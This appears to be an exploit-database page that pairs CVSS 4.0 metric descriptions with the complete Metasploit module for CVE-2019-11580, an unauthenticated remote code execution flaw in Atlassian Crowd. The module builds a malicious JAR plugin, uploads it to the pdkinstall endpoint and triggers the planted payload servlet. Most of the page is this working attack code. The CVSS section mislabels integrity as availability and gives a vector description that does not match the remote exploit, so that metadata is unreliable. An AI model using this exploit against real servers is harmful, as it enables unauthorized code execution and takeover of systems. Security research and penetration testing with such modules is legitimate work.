The vulnerable system is not bound to the network stack and the attacker’s path is via read/write/execute capabilities. Either: the attacker exploits the vulnerability by accessing the target system locally (e.g., keyboard, console), or through terminal emulation (e.g., SSH); or the attacker relies on User Interaction by another person to perform actions required to exploit the vulnerability (e.g., using social engineering techniques to trick a legitimate user into opening a malicious document).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Attack Requirements
Present
AT
The successful attack depends on the presence of specific deployment and execution conditions of the vulnerable system that enable the attack. These include: A race condition must be won to successfully exploit the vulnerability. The successfulness of the attack is conditioned on execution conditions that are not under full control of the attacker. The attack may need to be launched multiple times against a single target before being successful. Network injection. The attacker must inject themselves into the logical network path between the target and the resource requested by the victim (e.g. vulnerabilities requiring an on-path attacker).
Privileges Required
Low
PR
The attacker requires privileges that provide basic capabilities that are typically limited to settings and resources owned by a single low-privileged user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources.
User Interaction
None
UI
The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Confidentiality Impact to the Vulnerable System
High
VC
There is a total loss of confidentiality, resulting in all information within the Vulnerable System being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.
Availability Impact to the Vulnerable System
High
VI
There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the Vulnerable System. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the Vulnerable System.
Availability Impact to the Vulnerable System
High
VA
There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the Vulnerable System; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the Vulnerable System (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).
Subsequent System Confidentiality Impact
Negligible
SC
There is no loss of confidentiality within the Subsequent System or all confidentiality impact is constrained to the Vulnerable System.
Integrity Impact to the Subsequent System
None
SI
There is no loss of integrity within the Subsequent System or all integrity impact is constrained to the Vulnerable System.
Availability Impact to the Subsequent System
None
SA
There is no loss of availibility within the Subsequent System or all availibility impact is constrained to the Vulnerable System.
Below is a copy: Atlassian Crowd pdkinstall Remote Code Execution
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Atlassian Crowd pdkinstall Unauthenticated Plugin Upload RCE',
'Description' => %q{
This module can be used to upload a plugin on Atlassian Cloud via
the pdkinstall development plugin as an unauthenticated attacker.
The payload is uploaded as a JAR archive containing a servlet using
a POST request to /crowd/admin/uploadplugin.action. The check command will
check that the /crowd/admin/uploadplugin.action page exists and that it
responds appropriately to determine if the target is vulnerable or not.
},
'Author' => [
'Paul', # Vulnerability discovery
'Corben Leo', # PoC and Vulnerability Writeup. @hacker_ on Twitter.
'Grant Willcox' # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2019-11580'],
['URL', 'https://jira.atlassian.com/browse/CWD-5388'],
['URL', 'https://confluence.atlassian.com/crowd/crowd-security-advisory-2019-05-22-970260700.html'],
['URL', 'https://www.corben.io/atlassian-crowd-rce/']
],
'Platform' => %w[java],
'Arch' => ARCH_JAVA,
'DefaultOptions' => {
'HttpClientTimeout' => 25 # Allow a bit more time for the file upload to complete, just in case things are delayed, before timing out.
},
'Notes' =>
{
'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],
'Reliability' => [ REPEATABLE_SESSION ],
'Stability' => [ CRASH_SAFE ]
},
'Targets' =>
[
[
'Java Universal',
{
'Arch' => ARCH_JAVA,
'Platform' => 'java'
}
]
],
'DisclosureDate' => '2019-05-22'
)
)
register_options(
[
Opt::RPORT(8095),
OptString.new('TARGETURI', [true, 'The base URI to Atlassian Crowd', '/crowd/']),
]
)
end
def upload_plugin(content)
data = Rex::MIME::Message.new
data.add_part(content, nil, 'binary', "form-data; name=\"file_#{Rex::Text.rand_text_alpha(8..12)}\"; filename=\"#{Rex::Text.rand_text_alpha(8..12)}.jar\"")
send_request_cgi({
'uri' => normalize_uri(target_uri.path, '/admin/uploadplugin.action'),
'method' => 'POST',
'data' => data.to_s,
'ctype' => "multipart/mixed; boundary=#{data.bound}"
}, datastore['HttpClientTimeout'])
end
def generate_plugin_jar
name = Rex::Text.rand_text_alpha(8..12)
servlet_name = Rex::Text.rand_text_alpha(8..12)
atlassian_plugin_xml = %(
<atlassian-plugin key="metasploit.PayloadServlet" name="#{name}" plugins-version="2" class="metasploit.PayloadServlet">
<plugin-info>
<param name="atlassian-data-center-compatible">true</param>
<description></description>
<version>1.0.0</version>
</plugin-info>
<servlet name="#{servlet_name}" key="#{servlet_name}" class="metasploit.PayloadServlet">
<url-pattern>/#{name}</url-pattern>
<description>#{Faker::App.name}</description>
</servlet>
</atlassian-plugin>
)
# Generates .jar file for upload
zip = payload.encoded_jar
zip.add_file('atlassian-plugin.xml', atlassian_plugin_xml)
servlet = MetasploitPayloads.read('java', 'metasploit', 'PayloadServlet.class')
zip.add_file('/metasploit/PayloadServlet.class', servlet)
contents = zip.pack
[contents, name]
end
def check
print_status('Sending a test request to try installing an invalid plugin to see if the server is vulnerable...')
res = upload_plugin(Rex::Text.rand_text_alpha(45..120))
if res.nil?
CheckCode::Unknown('Was not able to connect to the target!')
elsif (res.body =~ /Unable to install plugin/) && (res.code == 400)
CheckCode::Vulnerable("Target responded that it couldn't install an invalid plugin, indicating it's vulnerable!")
else
CheckCode::Safe("Target didn't respond that it couldn't install an invalid plugin, so it's not vulnerable!")
end
end
def exploit
print_status('Generating a malicious JAR plugin...')
content, plugin_name = generate_plugin_jar
print_status('Uploading the malicious JAR plugin...')
upload_plugin(content)
send_request_cgi({
'uri' => normalize_uri(target_uri.path, "/plugins/servlet/#{plugin_name}"),
'method' => 'GET'
}, datastore['HttpClientTimeout'])
end
end
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